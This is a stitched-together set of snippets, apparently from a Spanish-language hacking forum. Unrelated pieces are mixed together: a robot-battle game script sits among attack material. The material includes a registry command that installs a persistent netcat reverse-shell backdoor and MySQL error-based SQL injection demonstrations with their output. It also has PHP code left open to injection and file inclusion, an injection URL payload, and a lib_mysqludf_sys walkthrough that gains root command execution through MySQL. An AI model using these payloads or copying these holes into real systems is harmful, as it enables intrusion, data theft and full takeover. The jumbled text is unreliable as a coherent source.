reg add HKLM\SOFTWARE\microsoft\windows\currentversion\run /v backdoor /d "/ruta/nc.exe -vv tuip puerto -e cmd.exe"

name()

startDirection()  #Opcional

color()

commands()

target_spotted(direction)

def name():
    return "[Q]3rV[0]"

def color():
    return (0,0,0)

def startDirection():
    return 90

gamefile.robotHealth() #Retorna el valor de la salud del robot entre 1-82
gamefile.move(frames) #Se movera determinada cantidad de cuadros
gamefile.stop(frames) #Se parara cada tantos frames
gamefile.fire() #Para realizar disparos
gamefile.turn_left(grados) #Para girar tantos grados a la izquierda
gamefile.turn_right(grados) #Para girar tantos grados a la derecha
gamefile.done() #Este metodo es necesario ya que indica el final de bucle para que las demas acciones puedan seguir repitiendose.
gamefile.spinradar(direction) #Seteamos la direccion en la que girara el radar "RIGHT" o "LEFT"
gamefile.lockradar(TEXT) #Podemos especificar 3 opciones ("GUN" "FREE" "BASE")

def target_spotted(direction):
    gamefile.pointgun(direction)

import gamefile

def name():
    return "[Q]3rV[0]"

def colour():
    return (0, 0, 0)

def commands():
    gamefile.spinradar("FREE")
    gamefile.lockradar("FREE")
    gamefile.move(200)
    gamefile.fire()
    gamefile.turn_left(100)
    gamefile.fire()
    gamefile.move(300)
    gamefile.fire()
    gamefile.turn_left(100)
    gamefile.fire()
    gamefile.done()
    if gamefile.robotHealth() < 41:
        gamefile.move(200)
        gamefile.fire()
        gamefile.turn_right(100)
        gamefile.fire()
        gamefile.move(300)
        gamefile.fire()
        gamefile.turn_right(100)
        gamefile.fire()
        gamefile.done()

def target_spotted(direction):
        gamefile.pointgun((direction)*1.4)
        gamefile.fire()
        gamefile.fire()
        gamefile.fire()

<b>q3rv0</b>

mysql> select extractvalue('<b>q3rv0</b>', '/b');
+------------------------------------+
| extractvalue('<b>q3rv0</b>', '/b') |
+------------------------------------+
| q3rv0                              |
+------------------------------------+
1 row in set (0.00 sec)

mysql>

mysql> select extractvalue('<b>q3rv0</b>', user());
ERROR 1105 (HY000): XPATH syntax error: '@localhost'

mysql> select extractvalue('<b>q3rv0</b>', concat(0x7e, user()));
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'

<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>

updatexml('cadena', 'xpath_expr', 'cadena actualizada')

mysql> select updatexml('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>','/h1', '<h1>Underc0de Rulz</h1>');
+--------------------------------------------------------------------------------------------------------------+
| updatexml('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>','/h1', '<h1>Underc0de Rulz</h1>') |
+--------------------------------------------------------------------------------------------------------------+
| <b>jlkjslakjslka</b><h1>Underc0de Rulz</h1><i>kjaslkjalskjlaksj</i>                                          |
+--------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

mysql> 

mysql> select updatexml('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>',user(), '<h1>Underc0de Rulz</h1>');
ERROR 1105 (HY000): XPATH syntax error: '@localhost'
mysql> 

mysql> select updatexml('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>',concat(0x7e, user()), '<h1>Underc0de Rulz</h1>');
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'
mysql> 

$query=mysqli_query($conexion, "SELECT path FROM archivos WHERE id=".$_GET['id'].";");
$fichero=mysqli_fetch_array($query, MYSQLI_ASSOC);
include($fichero['path']);

<?php
include("conex.php");
$id=$_GET['id'];
$consulta2="SELECT id, blog FROM blogs WHERE id=".$id.";";
$consulta="SELECT username FROM users WHERE id=".$id.";";
$query=mysql_query($consulta, $conexion);
$query2=mysql_query($consulta2, $conexion);
$dumpeo2=mysql_fetch_array($query2);
$dumpeo=mysql_fetch_array($query);
if (isset($_GET['id'])) {
    if (!$dumpeo) {
        echo mysql_error();
}
    elseif (!$dumpeo2) {
        echo mysql_error();
}
    else {
        echo "<b>Nick: ".$dumpeo['username']."</b><p>";
        echo "<b>Blog: ".$dumpeo2['blog']."</b><p>";
}
}
?>

$consulta2="SELECT id, blog FROM blogs WHERE id=".$id.";";
$consulta="SELECT username FROM users WHERE id=".$id.";";

http://localhost/mysqli-lab/2.php?id=1 union select count(*),concat(user(),floor(rand()*2))x from information_schema.tables group by x limit 0,1--

mysql> select username,(select blog from blogs limit 0,1)blog from users limit 0,1;
+----------+-------------------------+
| username | blog                    |
+----------+-------------------------+
| q3rv0    | http://underterminal.tk |
+----------+-------------------------+
1 row in set (0.00 sec)

select count(*),concat(user(),floor(rand()*2))x from information_schema.tables group by x limit 0,1--

select count(*) from information_schema.tables group by concat(user(),floor(rand()*2)) limit 0,1;

mysql> select floor(rand()*2);
+-----------------+
| floor(rand()*2) |
+-----------------+
|               0 |
+-----------------+
1 row in set (0.00 sec)

mysql> select floor(rand()*2);
+-----------------+
| floor(rand()*2) |
+-----------------+
|               0 |
+-----------------+
1 row in set (0.00 sec)

mysql> select floor(rand()*2);
+-----------------+
| floor(rand()*2) |
+-----------------+
|               0 |
+-----------------+
1 row in set (0.00 sec)

mysql> select floor(rand()*2);
+-----------------+
| floor(rand()*2) |
+-----------------+
|               1 |
+-----------------+
1 row in set (0.00 sec)

mysql> select floor(rand()*2);
+-----------------+
| floor(rand()*2) |
+-----------------+
|               1 |
+-----------------+
1 row in set (0.00 sec)

mysql> select rand();
+--------------------+
| rand()             |
+--------------------+
| 0.8679424085355759 |
+--------------------+
1 row in set (0.00 sec)

mysql> select rand()*2;
+-------------------+
| rand()*2          |
+-------------------+
| 0.947171253102991 |
+-------------------+
1 row in set (0.00 sec)

mysql> select rand()*2;
+--------------------+
| rand()*2           |
+--------------------+
| 1.5282018757687899 |
+--------------------+
1 row in set (0.00 sec)

mysql> select floor(1.5282018757687899);
+---------------------------+
| floor(1.5282018757687899) |
+---------------------------+
|                         1 |
+---------------------------+
1 row in set (0.00 sec)

mysql> select floor(0.947171253102991);
+--------------------------+
| floor(0.947171253102991) |
+--------------------------+
|                        0 |
+--------------------------+
1 row in set (0.00 sec)

mysql> select concat(version(),floor(rand()*2))x;
+-----------+
| x         |
+-----------+
| 5.5.28-11 |
+-----------+
1 row in set (0.00 sec)

mysql> select concat(version(),floor(rand()*2))x;
+-----------+
| x         |
+-----------+
| 5.5.28-10 |
+-----------+
1 row in set (0.00 sec)

mysql> select count(*) from information_schema.tables group by concat(user(),floor(rand()*2));
ERROR 1062 (23000): Duplicate entry 'root@localhost0' for key 'group_key'

mysql> select count(*) from information_schema.tables group by floor(rand()*2);
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'

mysql> select count(*),concat(user(),floor(rand()*2))z from information_schema.tables group by z;
+----------+-----------------+
| count(*) | z               |
+----------+-----------------+
|      123 | root@localhost0 | -> floor(rand()*2)=0
|       75 | root@localhost1 | -> floor(rand()*2)=1
+----------+-----------------+
2 rows in set (0.00 sec)

# * Basic Settings
#
user		= root
pid-file	= /var/run/mysqld/mysqld.pid
socket		= /var/run/mysqld/mysqld.sock
port		= 3306
basedir		= /usr
datadir		= /var/lib/mysql
tmpdir		= /tmp
language	= /usr/share/mysql/english

wget https://github.com/mysqludf/lib_mysqludf_sys/raw/master/lib_mysqludf_sys.so

mysql -u "user" -p"password" database

CREATE TABLE code (codigo blob);

INSERT INTO code VALUES(load_file('/tmp/lib_mysqludf_sys.so'));

SELECT * FROM code INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';

CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';

select sys_eval('id');
+-----------------------------------------+
| sys_eval('id')                          |
+-----------------------------------------+
| uid=0(root) gid=0(root) groups=0(root)
 |
+-----------------------------------------+